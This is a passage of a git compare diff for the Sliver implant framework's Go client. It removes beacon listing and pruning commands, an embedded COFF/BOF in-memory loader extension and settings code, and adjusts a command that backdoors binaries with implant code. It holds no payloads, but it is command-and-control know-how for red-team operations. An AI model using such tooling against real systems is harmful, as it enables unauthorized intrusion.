Compare commits

..
Author SHA1 Message Date
rkervella 483654d58f Fix error check during client cert generation 2021-11-26 12:52:34 +01:00
826 changed files with 22589 additions and 60742 deletions

No files matched your search

-1
View File
@@ -1,6 +1,5 @@
/.vscode/*
/.devcontainer
/.idea
/Dockerfile.*
/*.sdk.tar.xz
+1 -2
View File
@@ -24,10 +24,9 @@ Contributing to Sliver
* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
* Whenever possible, use the following algorithms/encryption modes:
- AES-GCM-256
- RSA-OAEP-2048 / RSA-OAEP-4096
- SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
- Curves P521, P384, P256
- Curve25519, XSalsa20, and Poly1305 (Nacl)
- ChaCha20Poly1305
* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
- MD5
- SHA1
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.17.2
FROM golang:1.17
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
-1
View File
@@ -123,7 +123,6 @@ pb:
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
.PHONY: clean-all
+1 -4
View File
@@ -20,11 +20,9 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-fingerprinting features
* Anti-anti-anti-forensics
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* Much more!
### Getting Started
@@ -45,4 +43,3 @@ See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
-9
View File
@@ -1,9 +0,0 @@
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
-104
View File
@@ -19,30 +19,15 @@ package assets
*/
import (
"embed"
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
@@ -57,92 +42,3 @@ func GetRootAppDir() string {
}
return dir
}
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
func saveAssetVersion(appDir string) {
versionFilePath := path.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
}
// Setup - Extract or create local assets
func Setup(force bool, echo bool) {
appDir := GetRootAppDir()
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf("Unpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
}
saveAssetVersion(appDir)
}
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
SaveSettings(nil)
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
}
-1
View File
@@ -40,7 +40,6 @@ type ClientConfig struct {
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
LHost string `json:"lhost"`
LPort int `json:"lport"`
Token string `json:"token"`
CACertificate string `json:"ca_certificate"`
PrivateKey string `json:"private_key"`
Certificate string `json:"certificate"`
-16
View File
@@ -1,16 +0,0 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
-73
View File
@@ -1,73 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"path/filepath"
)
const (
settingsFileName = "tui-settings.json"
)
// ClientSettings - Client JSON config
type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
settings := defaultSettings()
err = json.Unmarshal(data, settings)
if err != nil {
return defaultSettings(), err
}
return settings, nil
}
func defaultSettings() *ClientSettings {
return &ClientSettings{
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
}
}
// SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir())
if settings == nil {
settings = defaultSettings()
}
data, err := json.MarshalIndent(settings, "", " ")
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
return err
}
+3 -3
View File
@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
func StartClientConsole() error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
@@ -93,11 +93,11 @@ func StartClientConsole() error {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s", err)
fmt.Printf("Connection to server failed %v", err)
return nil
}
defer ln.Close()
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
}
// Execute - Execute root command
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -48,7 +48,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
-4
View File
@@ -1,4 +0,0 @@
Beacons
========
This package implements the beacons command, which can be used to list and interact with beacons.
-169
View File
@@ -1,169 +0,0 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/crypto/ssh/terminal"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
killFlag := ctx.Flags.String("kill")
killAll := ctx.Flags.Bool("kill-all")
// Handle kill
if killFlag != "" {
beacon, err := GetBeacon(con, killFlag)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, false, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
if killAll {
beacons, err := GetBeacons(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if 182 < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
}
for _, beacon := range beacons {
color := console.Normal
activeBeacon := con.ActiveTarget.GetBeacon()
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if 182 < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
}
return tw
}
-128
View File
@@ -1,128 +0,0 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
var (
// ErrNoBeacons - No sessions available
ErrNoBeacons = errors.New("no beacons")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
// ErrBeaconNotFound
ErrBeaconNotFound = errors.New("no beacon found for this ID")
)
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
keys := []string{}
for beaconID := range beaconsMap {
keys = append(keys, beaconID)
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
beacon.ID,
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return beaconsMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
for _, beacon := range beacons.Beacons {
if beacon.ID == beaconID {
return beacon, nil
}
}
return nil, ErrBeaconNotFound
}
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
return beacons, nil
}
-85
View File
@@ -1,85 +0,0 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsPruneCmd - Prune stale beacons automatically
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
pruneBeacons := []*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
nextCheckin := time.Unix(beacon.NextCheckin, 0)
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Now().Sub(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
}
if len(pruneBeacons) == 0 {
con.PrintInfof("No beacons to prune.\n")
return
}
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
for index, beacon := range pruneBeacons {
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
}
con.Println()
confirm := false
prompt := &survey.Confirm{Message: "Prune these beacons?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
errCount := 0
for _, beacon := range pruneBeacons {
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
errCount++
}
}
con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
}
-41
View File
@@ -1,41 +0,0 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
-67
View File
@@ -1,67 +0,0 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsWatchCmd - Watch your beacons in real-ish time
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
done := waitForInput()
defer func() {
con.Printf(console.UpN+console.Clearln+"\r", 1)
con.Printf(console.UpN+console.Clearln+"\r", 1)
}()
for {
select {
case <-done:
return
case <-time.After(time.Second):
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
}
con.Printf("\nPress enter to stop.\n")
con.Printf(console.UpN+"\r", len(lines)+2)
}
}
}
func waitForInput() <-chan bool {
done := make(chan bool)
go func() {
defer close(done)
fmt.Scanf("\n")
done <- true
}()
return done
}
+41 -562
View File
@@ -36,11 +36,7 @@ package command
import (
"os"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -48,29 +44,22 @@ import (
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/hosts"
"github.com/bishopfox/sliver/client/command/info"
"github.com/bishopfox/sliver/client/command/jobs"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/macros"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/operators"
"github.com/bishopfox/sliver/client/command/pivots"
"github.com/bishopfox/sliver/client/command/portfwd"
operator "github.com/bishopfox/sliver/client/command/prelude-operator"
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/command/websites"
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/console"
@@ -93,14 +82,6 @@ func BindCommands(con *console.SliverConsoleClient) {
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
}
// Attempt to load extensions from ~/.sliver-client/extensions/
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
// Absorb error in case there's no extensions manifest
if err == nil {
for _, ext := range exts {
extensions.RegisterExtensionCommand(ext, con)
}
}
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
// [ Update ] --------------------------------------------------------------
@@ -192,9 +173,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.Bool("p", "persistent", false, "make persistent across restarts")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -236,9 +216,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -261,12 +238,10 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -304,9 +279,9 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Operators ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.OperatorsStr,
Name: consts.PlayersStr,
Help: "Manage operators",
LongHelp: help.GetHelpFor([]string{consts.OperatorsStr}),
LongHelp: help.GetHelpFor([]string{consts.PlayersStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -395,13 +370,32 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.UseStr,
Help: "Switch the active session",
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("session", "session ID or name", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.UseCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.KillStr,
Help: "Kill a session",
LongHelp: help.GetHelpFor([]string{consts.KillStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
kill.KillCmd(ctx, con)
sessions.KillCmd(ctx, con)
con.Println()
return nil
},
@@ -413,200 +407,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
openSessionCmd := &grumble.Command{
Name: consts.InteractiveStr,
Help: "Task a beacon to open an interactive session (Beacon only)",
LongHelp: help.GetHelpFor([]string{consts.InteractiveStr}),
Flags: func(f *grumble.Flags) {
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.InteractiveCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
con.App.AddCommand(openSessionCmd)
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
Name: consts.TasksStr,
Help: "Beacon task management",
LongHelp: help.GetHelpFor([]string{consts.TasksStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
tasksCmd.AddCommand(&grumble.Command{
Name: consts.FetchStr,
Help: "Fetch the details of a beacon task",
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.FetchStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon task ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksFetchCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
useCmd := &grumble.Command{
Name: consts.UseStr,
Help: "Switch the active session or beacon",
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
Flags: func(f *grumble.Flags) {
